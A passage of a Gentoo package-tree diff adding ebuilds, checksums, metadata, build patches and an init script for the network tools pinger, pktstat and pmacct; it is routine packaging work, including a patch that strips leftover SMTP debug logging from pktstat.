+ snmp? ( net-analyzer/net-snmp[ucd-compat(+)] )
+ pcap? ( net-libs/libpcap )"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-snmp.patch
+
+ eautoreconf
+}
+
+src_configure() {
+ tc-export CC CXX
+
+ econf --without-suid \
+ $(use_with ipv6) \
+ $(use_with snmp snmp /usr/lib) \
+ $(use_with pcap)
+}
+
+src_install() {
+ einstall
+ dodoc FAQ CHANGES README
+}
diff --git a/net-analyzer/pinger/Manifest b/net-analyzer/pinger/Manifest
new file mode 100644
index 000000000000..6dce048bcadb
--- /dev/null
+++ b/net-analyzer/pinger/Manifest
@@ -0,0 +1,2 @@
+DIST pinger-0.32e.tar.gz 239002 SHA256 73edc85b1b45d6f7721e619b62e4dc7303306297a90f2ffd292d7fe9578321b2 SHA512 8a6cebe9b37399e2e84eead3b386b999212904ecffb1fc951b4165295b278690217f35d20830e1f1440b94567d9d5d3423d37ee6e9200173be9aacefb68a87f7 WHIRLPOOL 08c2549c4d8361cc5dd97fe2498769b9c40f59b574bd04d40c6d1183699fa535c23388ff3de6f41f92faa19f9a62e36a58f46acaf06d3a1e1a6d5a18f31f80d6
+DIST pinger-0.33.tar.gz 247827 SHA256 c092f972529f1038b6eac87195b87c2a308891db7f1db18b1a8cbe0df84b6569 SHA512 fff07599ef91fbdcff9be7806eca57a71e8e6fac7e9afc67c4147e6246b0bcdadf379de28f87054dbe7c409955c0e0ddeae7f529e954231bea0cfb39e4e29bc1 WHIRLPOOL e16f1eb1d7dc9f26a7eea7f6b47971388243cfee5d35557c24483c610c1292640c1068fda9ae34b575ec324ffe309ed2d4b67a696c227c3485cd0cb3d0ac7c68
diff --git a/net-analyzer/pinger/files/gtk-2.0.m4 b/net-analyzer/pinger/files/gtk-2.0.m4
new file mode 100644
index 000000000000..88596a969e19
--- /dev/null
+++ b/net-analyzer/pinger/files/gtk-2.0.m4
@@ -0,0 +1,196 @@
+# Configure paths for GTK+
+# Owen Taylor 1997-2001
+
+dnl AM_PATH_GTK_2_0([MINIMUM-VERSION, [ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND [, MODULES]]]])
+dnl Test for GTK+, and define GTK_CFLAGS and GTK_LIBS, if gthread is specified in MODULES,
+dnl pass to pkg-config
+dnl
+AC_DEFUN([AM_PATH_GTK_2_0],
+[dnl
+dnl Get the cflags and libraries from pkg-config
+dnl
+AC_ARG_ENABLE(gtktest, [ --disable-gtktest do not try to compile and run a test GTK+ program],
+ , enable_gtktest=yes)
+
+ pkg_config_args=gtk+-2.0
+ for module in . $4
+ do
+ case "$module" in
+ gthread)
+ pkg_config_args="$pkg_config_args gthread-2.0"
+ ;;
+ esac
+ done
+
+ no_gtk=""
+
+ AC_PATH_PROG(PKG_CONFIG, pkg-config, no)
+
+ if test x$PKG_CONFIG != xno ; then
+ if pkg-config --atleast-pkgconfig-version 0.7 ; then
+ :
+ else
+ echo "*** pkg-config too old; version 0.7 or better required."
+ no_gtk=yes
+ PKG_CONFIG=no
+ fi
+ else
+ no_gtk=yes
+ fi
+
+ min_gtk_version=ifelse([$1], ,2.0.0,$1)
+ AC_MSG_CHECKING(for GTK+ - version >= $min_gtk_version)
+
+ if test x$PKG_CONFIG != xno ; then
+ ## don't try to run the test against uninstalled libtool libs
+ if $PKG_CONFIG --uninstalled $pkg_config_args; then
+ echo "Will use uninstalled version of GTK+ found in PKG_CONFIG_PATH"
+ enable_gtktest=no
+ fi
+
+ if $PKG_CONFIG --atleast-version $min_gtk_version $pkg_config_args; then
+ :
+ else
+ no_gtk=yes
+ fi
+ fi
+
+ if test x"$no_gtk" = x ; then
+ GTK_CFLAGS=`$PKG_CONFIG $pkg_config_args --cflags`
+ GTK_LIBS=`$PKG_CONFIG $pkg_config_args --libs`
+ gtk_config_major_version=`$PKG_CONFIG --modversion gtk+-2.0 | \
+ sed 's/\([[0-9]]*\).\([[0-9]]*\).\([[0-9]]*\)/\1/'`
+ gtk_config_minor_version=`$PKG_CONFIG --modversion gtk+-2.0 | \
+ sed 's/\([[0-9]]*\).\([[0-9]]*\).\([[0-9]]*\)/\2/'`
+ gtk_config_micro_version=`$PKG_CONFIG --modversion gtk+-2.0 | \
+ sed 's/\([[0-9]]*\).\([[0-9]]*\).\([[0-9]]*\)/\3/'`
+ if test "x$enable_gtktest" = "xyes" ; then
+ ac_save_CFLAGS="$CFLAGS"
+ ac_save_LIBS="$LIBS"
+ CFLAGS="$CFLAGS $GTK_CFLAGS"
+ LIBS="$GTK_LIBS $LIBS"
+dnl
+dnl Now check if the installed GTK+ is sufficiently new. (Also sanity
+dnl checks the results of pkg-config to some extent)
+dnl
+ rm -f conf.gtktest
+ AC_TRY_RUN([
+#include <gtk/gtk.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+int
+main ()
+{
+ int major, minor, micro;
+ char *tmp_version;
+
+ fclose (fopen ("conf.gtktest", "w"));
+
+ /* HP/UX 9 (%@#!) writes to sscanf strings */
+ tmp_version = g_strdup("$min_gtk_version");
+ if (sscanf(tmp_version, "%d.%d.%d", &major, &minor, &micro) != 3) {
+ printf("%s, bad version string\n", "$min_gtk_version");
+ exit(1);
+ }
+
+ if ((gtk_major_version != $gtk_config_major_version) ||
+ (gtk_minor_version != $gtk_config_minor_version) ||
+ (gtk_micro_version != $gtk_config_micro_version))
+ {
+ printf("\n*** 'pkg-config --modversion gtk+-2.0' returned %d.%d.%d, but GTK+ (%d.%d.%d)\n",
+ $gtk_config_major_version, $gtk_config_minor_version, $gtk_config_micro_version,
+ gtk_major_version, gtk_minor_version, gtk_micro_version);
+ printf ("*** was found! If pkg-config was correct, then it is best\n");
+ printf ("*** to remove the old version of GTK+. You may also be able to fix the error\n");
+ printf("*** by modifying your LD_LIBRARY_PATH enviroment variable, or by editing\n");
+ printf("*** /etc/ld.so.conf. Make sure you have run ldconfig if that is\n");
+ printf("*** required on your system.\n");
+ printf("*** If pkg-config was wrong, set the environment variable PKG_CONFIG_PATH\n");
+ printf("*** to point to the correct configuration files\n");
+ }
+ else if ((gtk_major_version != GTK_MAJOR_VERSION) ||
+ (gtk_minor_version != GTK_MINOR_VERSION) ||
+ (gtk_micro_version != GTK_MICRO_VERSION))
+ {
+ printf("*** GTK+ header files (version %d.%d.%d) do not match\n",
+ GTK_MAJOR_VERSION, GTK_MINOR_VERSION, GTK_MICRO_VERSION);
+ printf("*** library (version %d.%d.%d)\n",
+ gtk_major_version, gtk_minor_version, gtk_micro_version);
+ }
+ else
+ {
+ if ((gtk_major_version > major) ||
+ ((gtk_major_version == major) && (gtk_minor_version > minor)) ||
+ ((gtk_major_version == major) && (gtk_minor_version == minor) && (gtk_micro_version >= micro)))
+ {
+ return 0;
+ }
+ else
+ {
+ printf("\n*** An old version of GTK+ (%d.%d.%d) was found.\n",
+ gtk_major_version, gtk_minor_version, gtk_micro_version);
+ printf("*** You need a version of GTK+ newer than %d.%d.%d. The latest version of\n",
+ major, minor, micro);
+ printf("*** GTK+ is always available from ftp://ftp.gtk.org.\n");
+ printf("***\n");
+ printf("*** If you have already installed a sufficiently new version, this error\n");
+ printf("*** probably means that the wrong copy of the pkg-config shell script is\n");
+ printf("*** being found. The easiest way to fix this is to remove the old version\n");
+ printf("*** of GTK+, but you can also set the PKG_CONFIG environment to point to the\n");
+ printf("*** correct copy of pkg-config. (In this case, you will have to\n");
+ printf("*** modify your LD_LIBRARY_PATH enviroment variable, or edit /etc/ld.so.conf\n");
+ printf("*** so that the correct libraries are found at run-time))\n");
+ }
+ }
+ return 1;
+}
+],, no_gtk=yes,[echo $ac_n "cross compiling; assumed OK... $ac_c"])
+ CFLAGS="$ac_save_CFLAGS"
+ LIBS="$ac_save_LIBS"
+ fi
+ fi
+ if test "x$no_gtk" = x ; then
+ AC_MSG_RESULT(yes (version $gtk_config_major_version.$gtk_config_minor_version.$gtk_config_micro_version))
+ ifelse([$2], , :, [$2])
+ else
+ AC_MSG_RESULT(no)
+ if test "$PKG_CONFIG" = "no" ; then
+ echo "*** A new enough version of pkg-config was not found."
+ echo "*** See http://pkgconfig.sourceforge.net"
+ else
+ if test -f conf.gtktest ; then
+ :
+ else
+ echo "*** Could not run GTK+ test program, checking why..."
+ ac_save_CFLAGS="$CFLAGS"
+ ac_save_LIBS="$LIBS"
+ CFLAGS="$CFLAGS $GTK_CFLAGS"
+ LIBS="$LIBS $GTK_LIBS"
+ AC_TRY_LINK([
+#include <gtk/gtk.h>
+#include <stdio.h>
+], [ return ((gtk_major_version) || (gtk_minor_version) || (gtk_micro_version)); ],
+ [ echo "*** The test program compiled, but did not run. This usually means"
+ echo "*** that the run-time linker is not finding GTK+ or finding the wrong"
+ echo "*** version of GTK+. If it is not finding GTK+, you'll need to set your"
+ echo "*** LD_LIBRARY_PATH environment variable, or edit /etc/ld.so.conf to point"
+ echo "*** to the installed location Also, make sure you have run ldconfig if that"
+ echo "*** is required on your system"
+ echo "***"
+ echo "*** If you have an old version installed, it is best to remove it, although"
+ echo "*** you may also be able to get things to work by modifying LD_LIBRARY_PATH" ],
+ [ echo "*** The test program failed to compile or link. See the file config.log for the"
+ echo "*** exact error that occured. This usually means GTK+ is incorrectly installed."])
+ CFLAGS="$ac_save_CFLAGS"
+ LIBS="$ac_save_LIBS"
+ fi
+ fi
+ GTK_CFLAGS=""
+ GTK_LIBS=""
+ ifelse([$3], , :, [$3])
+ fi
+ AC_SUBST(GTK_CFLAGS)
+ AC_SUBST(GTK_LIBS)
+ rm -f conf.gtktest
+])
diff --git a/net-analyzer/pinger/files/pinger-0.32e-tinfo.patch b/net-analyzer/pinger/files/pinger-0.32e-tinfo.patch
new file mode 100644
index 000000000000..f9175b22540f
--- /dev/null
+++ b/net-analyzer/pinger/files/pinger-0.32e-tinfo.patch
@@ -0,0 +1,21 @@
+--- a/configure.in
++++ b/configure.in
+@@ -65,8 +65,18 @@
+ AC_DEFINE([HAVE_GTK_2], 1, Found GTK 2),
+ HAVE_GTK_2=0)
+ fi
++AC_ARG_ENABLE(ncurses, [ --enable-ncurses enable ncurses support],
++ [if test "$enableval" = no; then no_ncurses=yes; fi])
++if test x$no_ncurses != xyes; then
++PKG_CHECK_MODULES(ncurses, ncurses,[
++ AC_DEFINE([HAVE_LIBNCURSES], [1], found ncurses library)
++ HAVE_CURSES=1
++ LIBS="$LIBS $ncurses_LIBS"
++ CFLAGS="$CFLAGS $ncurses_CFLAGS"],
+ AC_CHECK_LIB(ncurses, initscr, HAVE_CURSES=1; LIBS="$LIBS -lncurses";
+ AC_DEFINE([HAVE_LIBNCURSES], [1], found ncurses library))
++ )
++fi
+ AC_CHECK_LIB(intl, libintl_gettext, LIBS="$LIBS -lintl")
+ AC_CHECK_LIB(pthread, pthread_create, LIBS="$LIBS -lpthread", AC_MSG_ERROR(Pthread required and not found. Please check if you have libpthread in your system and specify using CFLAGS and LDFLAGS when configure))
+
diff --git a/net-analyzer/pinger/files/pinger-0.33-gentoo.patch b/net-analyzer/pinger/files/pinger-0.33-gentoo.patch
new file mode 100644
index 000000000000..76ef052a4a2d
--- /dev/null
+++ b/net-analyzer/pinger/files/pinger-0.33-gentoo.patch
@@ -0,0 +1,73 @@
+--- a/src/Makefile.am
++++ b/src/Makefile.am
+@@ -2,7 +2,12 @@
+
+ bin_PROGRAMS = pinger
+ man_MANS = pinger.1
++if HAVE_GTK_2
+ bin_SCRIPTS = gtkpinger
++endif
++if HAVE_GTK_3
++bin_SCRIPTS = gtkpinger
++endif
+
+ P_SOURCES = timefunc.c parse.c ping.c pinger.c dns.c log.c timefunc.h parse.h ping.h globals.h fake_gtk.h dns.h log.h
+ if HAVE_CURSES
+--- a/configure.in
++++ b/configure.in
+@@ -54,34 +54,46 @@
+ AC_HEADER_TIME
+ AM_INADDRT
+
++PKG_PROG_PKG_CONFIG()
++
+ dnl GTK3/GTK2 tests
+ dnl Note: PKG_CHECK_MODULES cannot be used conditionaly due to sharing the tests and depending on it
+ AC_ARG_ENABLE([gtk], AS_HELP_STRING([--enable-gtk[[[=version]]]], [Build with GTK+ interface. Supported versions are gtk2 and gtk3. Default is gtk2.]))
+-PKG_CHECK_MODULES(GTK, [ gtk+-2.0 >= 2.4 ], HAVE_GTK_2=1; )
+-AC_SUBST(GTK_CFLAGS)
+-AC_SUBST(GTK_LIBS)
+-PKG_CHECK_MODULES(GTK3, [ gtk+-3.0 >= 3.12 ], HAVE_GTK_3=1)
+-AC_SUBST(GTK3_CFLAGS)
+-AC_SUBST(GTK3_LIBS)
+
+ if test "x$enableval" = "x" || test "x$enableval" = "xgtk2"; then
++PKG_CHECK_MODULES(GTK, [ gtk+-2.0 >= 2.4 ], HAVE_GTK_2=1,[])
++AC_SUBST(GTK_CFLAGS)
++AC_SUBST(GTK_LIBS)
+ CFLAGS="$CFLAGS $GTK_CFLAGS"
+ LIBS="$LIBS $GTK_LIBS"
+ HAVE_GTK_3=0
+ AC_DEFINE(HAVE_GTK_2, 1, Found GTK+ 2.x support)
+ elif test "x$enableval" = "xgtk3"; then
++PKG_CHECK_MODULES(GTK3, [ gtk+-3.0 >= 3.12 ], HAVE_GTK_3=1,[])
++AC_SUBST(GTK3_CFLAGS)
++AC_SUBST(GTK3_LIBS)
+ CFLAGS="$CFLAGS $GTK3_CFLAGS"
+ LIBS="$LIBS $GTK3_LIBS"
+ HAVE_GTK_2=0
+ AC_DEFINE(HAVE_GTK_3, 1, Found GTK+ 3.x support)
+ else
+-echo "Sorry, the value $enableval is not supported as argument of --enable-gtk."
+-exit 1
++HAVE_GTK_2=0
++HAVE_GTK_3=0
+ fi
+
+-dnl Check for additional external libraries etc..
++AC_ARG_ENABLE(ncurses, [ --enable-ncurses enable ncurses support],
++ [if test "$enableval" = no; then no_ncurses=yes; fi])
++if test x$no_ncurses != xyes; then
++PKG_CHECK_MODULES(ncurses, ncurses,[
++ AC_DEFINE([HAVE_LIBNCURSES], [1], found ncurses library)
++ HAVE_CURSES=1
++ LIBS="$LIBS $ncurses_LIBS"
++ CFLAGS="$CFLAGS $ncurses_CFLAGS"],
+ AC_CHECK_LIB(ncurses, initscr, HAVE_CURSES=1; LIBS="$LIBS -lncurses";
+ AC_DEFINE([HAVE_LIBNCURSES], [1], found ncurses library))
++ )
++fi
++dnl Check for additional external libraries etc..
+ AC_CHECK_LIB(intl, libintl_gettext, LIBS="$LIBS -lintl")
+ AC_CHECK_LIB(pthread, pthread_create, LIBS="$LIBS -lpthread", AC_MSG_ERROR(Pthread required and not found. Please check if you have libpthread in your system and specify using CFLAGS and LDFLAGS when configure))
+
diff --git a/net-analyzer/pinger/metadata.xml b/net-analyzer/pinger/metadata.xml
new file mode 100644
index 000000000000..56ad93e19831
--- /dev/null
+++ b/net-analyzer/pinger/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<use>
+<flag name='gtk2'>Install the gtkpinger GUI utility based on <pkg>x11-libs/gtk:2</pkg></flag>
+<flag name='gtk3'>Install the gtkpinger GUI utility based on <pkg>x11-libs/gtk:3</pkg></flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/pinger/pinger-0.32e.ebuild b/net-analyzer/pinger/pinger-0.32e.ebuild
new file mode 100644
index 000000000000..46185885c6d5
--- /dev/null
+++ b/net-analyzer/pinger/pinger-0.32e.ebuild
@@ -0,0 +1,49 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools eutils flag-o-matic
+
+DESCRIPTION="Cyclic multi ping utility for selected adresses using GTK/ncurses"
+HOMEPAGE="http://aa.vslib.cz/silk/projekty/pinger/index.php"
+SRC_URI="http://aa.vslib.cz/silk/projekty/pinger/download/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+IUSE="gtk ncurses nls"
+
+REQUIRED_USE="
+ !gtk? ( ncurses )
+ !ncurses? ( gtk )
+"
+
+RDEPEND="
+ gtk? ( >=x11-libs/gtk+-2.4:2 )
+ ncurses? ( sys-libs/ncurses )
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+DOCS=( AUTHORS BUGS ChangeLog NEWS README )
+
+src_prepare() {
+ # bug #494636
+ cp "${FILESDIR}"/gtk-2.0.m4 m4/ || die
+
+ epatch "${FILESDIR}"/${P}-tinfo.patch
+
+ sed -i -e '/Root privileges/d' src/Makefile.am || die
+
+ eautoreconf
+}
+
+src_configure() {
+ append-cppflags -D_GNU_SOURCE
+
+ econf $(use_enable gtk) $(use_enable ncurses) $(use_enable nls)
+}
diff --git a/net-analyzer/pinger/pinger-0.33.ebuild b/net-analyzer/pinger/pinger-0.33.ebuild
new file mode 100644
index 000000000000..7e4a980e24d6
--- /dev/null
+++ b/net-analyzer/pinger/pinger-0.33.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools eutils flag-o-matic
+
+DESCRIPTION="Cyclic multi ping utility for selected adresses using GTK/ncurses"
+HOMEPAGE="http://aa.vslib.cz/silk/projekty/pinger/"
+SRC_URI="${HOMEPAGE}download/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+IUSE="gtk2 gtk3 ncurses nls"
+
+REQUIRED_USE="
+ || ( gtk2 gtk3 ncurses )
+ ?? ( gtk2 gtk3 )
+"
+GTK_DEPEND="
+ dev-libs/glib:2
+"
+RDEPEND="
+ gtk2? (
+ ${GTK_DEPEND}
+ >=x11-libs/gtk+-2.4:2
+ )
+ gtk3? (
+ ${GTK_DEPEND}
+ >=x11-libs/gtk+-3.12:3
+ )
+ ncurses? ( sys-libs/ncurses )
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+DOCS=( AUTHORS BUGS ChangeLog NEWS README )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+
+ sed -i -e '/Root privileges/d' src/Makefile.am || die
+
+ eautoreconf
+}
+
+src_configure() {
+ append-cppflags -D_GNU_SOURCE
+
+ econf \
+ $(usex gtk2 --enable-gtk=gtk2 '') \
+ $(usex gtk3 --enable-gtk=gtk3 '') \
+ $(use_enable ncurses) \
+ $(use_enable nls)
+}
diff --git a/net-analyzer/pktstat/Manifest b/net-analyzer/pktstat/Manifest
new file mode 100644
index 000000000000..ccef1c0a1a80
--- /dev/null
+++ b/net-analyzer/pktstat/Manifest
@@ -0,0 +1 @@
+DIST pktstat-1.8.5.tar.gz 133404 SHA256 140b07120eb48f139d588f0d8db792a91227fc7d6e690f0fcad1328dfcafd2c9 SHA512 0401b34646b3e6238a9fe032fa4c2afb70a3a009850bc85c043ff4bba7da6fab0dcf20b963c62ba4db5ba15a7508241dba4f4789ea59b12193928b4c4ec7f0c7 WHIRLPOOL 2e9d4a4c603080999afa0fa3b50b70d09586212c1e69305fb05974756d779e033822c87d8f809ef72582b4078893ca10fe126c84929c183e3289a31a614645e8
diff --git a/net-analyzer/pktstat/files/pktstat-1.8.5-smtp_line.patch b/net-analyzer/pktstat/files/pktstat-1.8.5-smtp_line.patch
new file mode 100644
index 000000000000..67ea9e9181e8
--- /dev/null
+++ b/net-analyzer/pktstat/files/pktstat-1.8.5-smtp_line.patch
@@ -0,0 +1,46 @@
+--- a/tcp_smtp.c
++++ b/tcp_smtp.c
+@@ -149,13 +149,9 @@
+ struct smtp_state *state;
+ const char *s;
+ int addr_changed = 0;
+-FILE*log;
+
+ state = (struct smtp_state *)f->udata;
+
+-if ((log = fopen("/tmp/smtp.log", "a")))
+- fprintf(log, "smpt_line [%s]\n", line);
+-
+ if (state->in_data) {
+ if (strcmp(line, ".") == 0) {
+ state->in_data = 0;
+@@ -180,18 +176,15 @@
+ } else {
+ /* Normalize the command line */
+ normalize_line(line);
+-if (log)fprintf(log, "normalized to [%s]\n", line);
+ if ((s = strip_prefix(line, "MAIL FROM:"))) {
+ snprintf(state->from_addr, sizeof state->from_addr, "%s", s);
+ normalize_addr(state->from_addr);
+ addr_changed = 1;
+-if (log)fprintf(log, "from_addr = [%s]\n", state->from_addr);
+ }
+ else if ((s = strip_prefix(line, "RCPT TO:"))) {
+ snprintf(state->to_addr, sizeof state->to_addr, "%s", s);
+ normalize_addr(state->to_addr);
+ addr_changed = 1;
+-if (log)fprintf(log, "to_addr = [%s]\n", state->to_addr);
+ }
+ else if (strcmp(line, "DATA") == 0) {
+ state->in_data = 1;
+@@ -213,10 +206,7 @@
+ if (strcmp(line, "QUIT") != 0)
+ snprintf(f->desc, sizeof f->desc, "%s", line);
+ }
+-if (log)fprintf(log, "set desc to: [%s]\n", f->desc);
+ }
+-
+-if (log)fclose(log);
+ }
+
+ /*
diff --git a/net-analyzer/pktstat/files/pktstat-1.8.5-tinfo.patch b/net-analyzer/pktstat/files/pktstat-1.8.5-tinfo.patch
new file mode 100644
index 000000000000..5181124b8053
--- /dev/null
+++ b/net-analyzer/pktstat/files/pktstat-1.8.5-tinfo.patch
@@ -0,0 +1,10 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -18,6 +18,7 @@
+ AC_SEARCH_LIBS(gethostbyname, [nsl]) dnl for Solaris
+ AC_SEARCH_LIBS(pcap_open_live, [pcap])
+ AC_SEARCH_LIBS(exp, [m])
++PKG_CHECK_MODULES(ncurses,ncurses,LIBS="$LIBS $ncurses_LIBS",AC_MSG_ERROR[ncurses is required])
+ AC_SEARCH_LIBS(tgoto, [termlib termcap curses ncurses ocurses])
+ AC_SEARCH_LIBS(initscr, [curses ncurses ocurses])
+ AC_SEARCH_LIBS(nanosleep, [posix4])
diff --git a/net-analyzer/pktstat/metadata.xml b/net-analyzer/pktstat/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/pktstat/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/pktstat/pktstat-1.8.5-r1.ebuild b/net-analyzer/pktstat/pktstat-1.8.5-r1.ebuild
new file mode 100644
index 000000000000..f9436c35b6cb
--- /dev/null
+++ b/net-analyzer/pktstat/pktstat-1.8.5-r1.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="A network monitoring tool with bandwidth tracking"
+HOMEPAGE="http://www.adaptive-enterprises.com.au/~d/software/pktstat/"
+SRC_URI="http://www.adaptive-enterprises.com.au/~d/software/pktstat/${P}.tar.gz"
+
+LICENSE="public-domain"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+
+RDEPEND="
+ net-libs/libpcap
+ >=sys-libs/ncurses-5.3-r1
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-tinfo.patch
+ epatch "${FILESDIR}"/${P}-smtp_line.patch
+ eautoreconf
+}
+
+src_install() {
+ dosbin pktstat
+ doman pktstat.1
+ dodoc ChangeLog NEWS README TODO
+}
diff --git a/net-analyzer/pmacct/Manifest b/net-analyzer/pmacct/Manifest
new file mode 100644
index 000000000000..c7603289cdcd
--- /dev/null
+++ b/net-analyzer/pmacct/Manifest
@@ -0,0 +1,3 @@
+DIST pmacct-0.14.3.tar.gz 746387 SHA256 c3197dcb21b131da82eaaecc9dccbff894c35bf1cb74214e93ae1e7c1bdef50e SHA512 310cee3f74d41befd74f981aff6c1a33a2db14c7010e8d1283374d8f6be49fb825a768f992c7b24acca74710413148fd61006ae7e87ad566b7193d575fa6df36 WHIRLPOOL bd7b8560ed5e30ff6342920ec04cca1795bf675dc90db7abf31c8d105f733109950ca28ac9c57d80cb2b6aef24f3db6259a71b170a032b1a77cdb98f5b7bcbe9
+DIST pmacct-1.5.0.tar.gz 843881 SHA256 28edc18aec67c2157c599dcf095dd9f26a4c06ca4dfe7da79390011b3fd432fc SHA512 e1ff47f6a987e76c5e5ac92896f9dac3722c681a5a85835dbf8bffba68dc5794c63f06c9576d1b8f667fb4fe2f9b17d8e0dd1d3a4a96673c43378d2aba3329a1 WHIRLPOOL e886a73e732b7e63f5453710913372dfab671d33bbbc85dc4f10daab89173cdf5579ddfd2ad4019855d67705b52bafd1b31d1e2d14da34dfc00877db444e1419
+DIST pmacct-1.5.1.tar.gz 874563 SHA256 96134549a10947f3f6d610b670a26f1a54e01af4be0eff09bf48c19246d33584 SHA512 c3a0ddaf1b8679df2097147ce844eb2a3e3058599aea457e463cd4e65a7601e0ce5bac5ca5e1c82afecd5edc92dae673eed3ed1787bfbd3e8ac2af5677885bb7 WHIRLPOOL bd071ac30493f5ee2e0393eb9277dfae2d2fdd6283293aee589ae41ab326b0aaef0ec9b70a421eeca4df857a0046ca7b196e0692ffdd2ea12d9a7c66a74e9a32
diff --git a/net-analyzer/pmacct/files/pmacct-0.12.0-gentoo.patch b/net-analyzer/pmacct/files/pmacct-0.12.0-gentoo.patch
new file mode 100644
index 000000000000..34efc1eda34d
--- /dev/null
+++ b/net-analyzer/pmacct/files/pmacct-0.12.0-gentoo.patch
@@ -0,0 +1,20 @@
+--- a/configure
++++ b/configure
+@@ -1103,7 +1103,7 @@
+ echo $ac_n "checking whether to enable debugging compiler options""... $ac_c" 1>&6
+ echo "configure:1105: checking whether to enable debugging compiler options" >&5
+ # Check whether --enable-debug or --disable-debug was given.
+-if test "${enable_debug+set}" = set; then
++if test "${enable_debug+set}" = TODO_THIS_WILL_NEVER_BE_TRUE; then
+ enableval="$enable_debug"
+ echo "$ac_t""yes" 1>&6
+ tmp_CFLAGS=`echo $CFLAGS | sed 's/O2/O0/g'`
+@@ -1114,7 +1114,7 @@
+ #CFLAGS="$CFLAGS -Wcast-align -Wcast-qual -Wnested-externs"
+ #CFLAGS="$CFLAGS -Wshadow -Wbad-function-cast -Wwrite-strings"
+ echo "$ac_t""no" 1>&6
+-
++ CFLAGS="$ac_save_CFLAGS"
+ fi
+
+
diff --git a/net-analyzer/pmacct/files/pmacctd-conf.d b/net-analyzer/pmacct/files/pmacctd-conf.d
new file mode 100644
index 000000000000..3ecc8613e1d7
--- /dev/null
+++ b/net-analyzer/pmacct/files/pmacctd-conf.d
@@ -0,0 +1,7 @@
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# Other options to pass to pmacctd
+#OPTS=""
+
diff --git a/net-analyzer/pmacct/files/pmacctd-init.d b/net-analyzer/pmacct/files/pmacctd-init.d
new file mode 100644
index 000000000000..3a0cc734991c
--- /dev/null
+++ b/net-analyzer/pmacct/files/pmacctd-init.d
@@ -0,0 +1,37 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+PMACCTDDIR=${PMACCTDDIR:-/etc/pmacctd}
+if [ ${SVCNAME} != "pmacctd" ]; then
+ PMACCTDPID="/run/${SVCNAME}.pid"
+else
+ PMACCTDPID="/run/pmacctd.pid"
+fi
+PMACCTDCONF="${PMACCTDDIR}/${SVCNAME}.conf"
+
+depend() {
+ need net
+}
+
+checkconfig() {
+ if [ ! -e ${PMACCTDCONF} ] ; then
+ eerror "You need an ${PMACCTDCONF} file to run pmacctd"
+ return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+ ebegin "Starting ${SVCNAME}"
+ start-stop-daemon --start --pidfile "${PMACCTDPID}" --exec /usr/sbin/"${SVCNAME}" \
+ -- -D -f "${PMACCTDCONF}" -F "${PMACCTDPID}" ${OPTS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping ${SVCNAME}"
+ start-stop-daemon --stop --pidfile "${PMACCTDPID}" --exec /usr/sbin/"${SVCNAME}"
+ eend $?
+}
diff --git a/net-analyzer/pmacct/metadata.xml b/net-analyzer/pmacct/metadata.xml
new file mode 100644
index 000000000000..12a9db305535
--- /dev/null
+++ b/net-analyzer/pmacct/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<use>
+<flag name='64bit'>Use 64bit counters instead of 32bit ones</flag>
+<flag name='mongodb'>Add support for mongodb backend</flag>
+<flag name='ulog'>Enable ULOG support</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/pmacct/pmacct-0.14.3.ebuild b/net-analyzer/pmacct/pmacct-0.14.3.ebuild
new file mode 100644
index 000000000000..c01735b38e04
--- /dev/null
+++ b/net-analyzer/pmacct/pmacct-0.14.3.ebuild
@@ -0,0 +1,68 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="A network tool to gather IP traffic information"
+HOMEPAGE="http://www.pmacct.net/"
+SRC_URI="http://www.pmacct.net/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+IUSE="64bit debug geoip ipv6 mongodb mysql postgres sqlite threads ulog"
+
+DEPEND="
+ net-libs/libpcap
+ geoip? ( dev-libs/geoip )
